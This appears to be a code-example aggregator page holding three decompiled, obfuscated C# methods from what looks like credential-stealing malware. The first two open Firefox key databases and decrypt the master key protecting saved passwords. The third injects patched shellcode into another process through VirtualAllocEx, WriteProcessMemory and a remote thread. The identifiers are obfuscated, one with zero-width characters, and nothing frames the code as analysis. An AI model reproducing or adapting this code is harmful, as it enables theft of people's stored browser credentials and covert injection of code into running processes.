Esempio n. 1
0
        // Token: 0x06000157 RID: 343 RVA: 0x0000BFC4 File Offset: 0x0000A1C4
        private static byte[] smethod_9(string string_3)
        {
            byte[] array = new byte[24];
            byte[] result;
            try
            {
                if (File.Exists(string_3))
                {
                    GClass8 gclass = new GClass8(string_3);
                    gclass.method_3("metaData");
                    string   s       = gclass.method_2(0, "item1");
                    string   s2      = gclass.method_2(0, "item2)");
                    GClass12 gclass2 = GClass10.smethod_0(Encoding.Default.GetBytes(s2));
                    byte[]   byte_   = gclass2.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
                    byte[]   byte_2  = gclass2.List_0[0].List_0[1].Byte_0;
                    GClass16 gclass3 = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
                    gclass3.method_0();
                    GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.None);
                    gclass.method_3("nssPrivate");
                    int    int32_ = gclass.Int32_0;
                    string s3     = string.Empty;
                    for (int i = 0; i < int32_; i++)
                    {
                        if (gclass.method_2(i, "a102") == Encoding.Default.GetString(Class13.byte_0))
                        {
                            s3 = gclass.method_2(i, "a11");
IL_176:
                            GClass12 gclass4 = GClass10.smethod_0(Encoding.Default.GetBytes(s3));
                            byte_            = gclass4.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0;
                            byte_2           = gclass4.List_0[0].List_0[1].Byte_0;
                            gclass3          = new GClass16(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), byte_);
                            gclass3.method_0();
                            array = Encoding.Default.GetBytes(GClass14.smethod_0(gclass3.Byte_3, gclass3.Byte_4, byte_2, PaddingMode.PKCS7));
                            return(array);
                        }
                    }
                    goto IL_176;
                }
                result = array;
            }
            catch (Exception)
            {
                result = array;
            }
            return(result);
        }
Esempio n. 2
0
 // Token: 0x06000158 RID: 344 RVA: 0x0000C23C File Offset: 0x0000A43C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             GClass17 gclass17_ = new GClass17(string_3);
             GClass15 gclass    = new GClass15(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_0)));
             string   string_4  = Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_1));
             GClass16 gclass2   = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), Class13.smethod_11(gclass.String_0));
             gclass2.method_0();
             GClass14.smethod_0(gclass2.Byte_3, gclass2.Byte_4, Class13.smethod_11(gclass.String_2), PaddingMode.None);
             GClass12 gclass3 = GClass10.smethod_0(Class13.smethod_11(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_2))));
             GClass16 gclass4 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), gclass3.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0);
             gclass4.method_0();
             GClass12 gclass5 = GClass10.smethod_0(GClass10.smethod_0(Encoding.Default.GetBytes(GClass14.smethod_0(gclass4.Byte_3, gclass4.Byte_4, gclass3.List_0[0].List_0[1].Byte_0, PaddingMode.None))).List_0[0].List_0[2].Byte_0);
             if (gclass5.List_0[0].List_0[3].Byte_0.Length <= 24)
             {
                 array  = gclass5.List_0[0].List_0[3].Byte_0;
                 result = array;
             }
             else
             {
                 Array.Copy(gclass5.List_0[0].List_0[3].Byte_0, gclass5.List_0[0].List_0[3].Byte_0.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Esempio n. 3
0
    // Token: 0x06000351 RID: 849 RVA: 0x0103888C File Offset: 0x01036A8C
    private static bool smethod_5(GClass8 gclass8_0, IntPtr intptr_7, int int_0)
    {
        List <string> list   = new List <string>();
        string        empty  = string.Empty;
        bool          result = false;

        foreach (GStruct8 gstruct in gclass8_0.method_8())
        {
            if (gclass8_0.method_4((long)((ulong)gclass8_0.method_11(gstruct.Name)), SeekOrigin.Begin, out empty, -1, null) && !string.IsNullOrEmpty(empty) && Class7.smethod_3(empty, int_0).smethod_4())
            {
                list.Add(empty);
            }
        }
        if (list.Count > 0)
        {
            byte[] array = Class7.smethod_1(gclass8_0);
            string text  = string.Empty;
            if (array != null)
            {
                text = GClass11.smethod_2(array);
            }
            else
            {
                if (string.IsNullOrEmpty(gclass8_0.String_0) || !File.Exists(Path.Combine(Path.GetDirectoryName(gclass8_0.String_0), Path.GetFileName(gclass8_0.String_0) + ".manifest")))
                {
                    IntPtr[] array2 = GClass10.smethod_0(GEnum7.Standard).GClass10.\u200E\u206B\u200D\u202B\u200F\u206A\u206D\u200E\u200E\u206B\u206F\u202E\u200F\u200B\u206E\u202B\u206A\u200E\u206B\u206A\u206C\u202A\u206C\u202B\u206B\u206F\u206A\u200F\u206A\u200E\u202B\u200F\u200F\u200E\u200E\u200B\u200E\u202B\u206D\u202A\u202E(list.ToArray(), intptr_7);
                    for (int i = 0; i < array2.Length; i++)
                    {
                        if (array2[i].smethod_4())
                        {
                            return(false);
                        }
                    }
                    return(true);
                }
                text = Path.Combine(Path.GetDirectoryName(gclass8_0.String_0), Path.GetFileName(gclass8_0.String_0) + ".manifest");
            }
            if (string.IsNullOrEmpty(text))
            {
                return(false);
            }
            IntPtr intPtr  = GClass5.VirtualAllocEx(intptr_7, IntPtr.Zero, (uint)Class7.byte_1.Length, 12288, 64);
            IntPtr intPtr2 = GClass5.smethod_0(intptr_7, Encoding.ASCII.GetBytes(text + "\0"), 4);
            IntPtr intPtr3 = GClass5.smethod_0(intptr_7, Encoding.ASCII.GetBytes(string.Join("\0", list.ToArray()) + "\0"), 4);
            if (!intPtr.smethod_4())
            {
                byte[] array3 = (byte[])Class7.byte_1.Clone();
                uint   num    = 0u;
                BitConverter.GetBytes(Class7.intptr_1.smethod_7(intPtr.smethod_0(63L)).ToInt32()).CopyTo(array3, 59);
                BitConverter.GetBytes(Class7.intptr_0.smethod_7(intPtr.smethod_0(88L)).ToInt32()).CopyTo(array3, 84);
                BitConverter.GetBytes(Class7.intptr_3.smethod_7(intPtr.smethod_0(132L)).ToInt32()).CopyTo(array3, 128);
                BitConverter.GetBytes(Class7.intptr_4.smethod_7(intPtr.smethod_0(146L)).ToInt32()).CopyTo(array3, 142);
                BitConverter.GetBytes(Class7.intptr_2.smethod_7(intPtr.smethod_0(200L)).ToInt32()).CopyTo(array3, 196);
                BitConverter.GetBytes(Class7.intptr_5.smethod_7(intPtr.smethod_0(209L)).ToInt32()).CopyTo(array3, 205);
                BitConverter.GetBytes(intPtr2.ToInt32()).CopyTo(array3, 31);
                BitConverter.GetBytes(list.Count).CopyTo(array3, 40);
                BitConverter.GetBytes(intPtr3.ToInt32()).CopyTo(array3, 49);
                if (GClass5.WriteProcessMemory(intptr_7, intPtr, array3, array3.Length, out num) && (ulong)num == (ulong)((long)array3.Length))
                {
                    uint num2 = GClass5.smethod_7(intptr_7, intPtr, 0u, 5000);
                    result = (num2 != uint.MaxValue && num2 > 0u);
                }
                GClass5.VirtualFreeEx(intptr_7, intPtr3, 0, 32768);
                GClass5.VirtualFreeEx(intptr_7, intPtr2, 0, 32768);
                GClass5.VirtualFreeEx(intptr_7, intPtr, 0, 32768);
            }
        }
        return(result);
    }